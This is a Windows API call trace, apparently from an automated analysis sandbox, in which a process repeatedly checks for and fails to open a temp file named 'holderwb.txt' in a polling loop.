	[0099.497] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.497] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.497] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.498] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.498] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.498] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.498] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.498] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.498] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.498] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.499] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.499] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.499] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.499] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.499] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.499] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.499] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.499] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.499] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.499] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.499] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.500] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.500] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.500] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.500] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.501] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.501] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.501] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.501] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.502] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.502] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.502] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.502] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.502] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.502] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.502] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.503] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.503] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.503] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.503] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.503] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.503] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.503] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.504] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.504] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.504] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.504] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.504] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.504] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.504] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.505] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.505] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.505] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.505] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.506] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.506] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.506] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.506] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.507] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.507] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.507] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.507] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.507] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.507] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.507] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.507] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.508] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.508] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.508] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.508] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.508] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.508] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.508] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.509] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.509] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.509] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.509] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.509] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.509] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.509] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.510] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.510] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.510] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.510] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
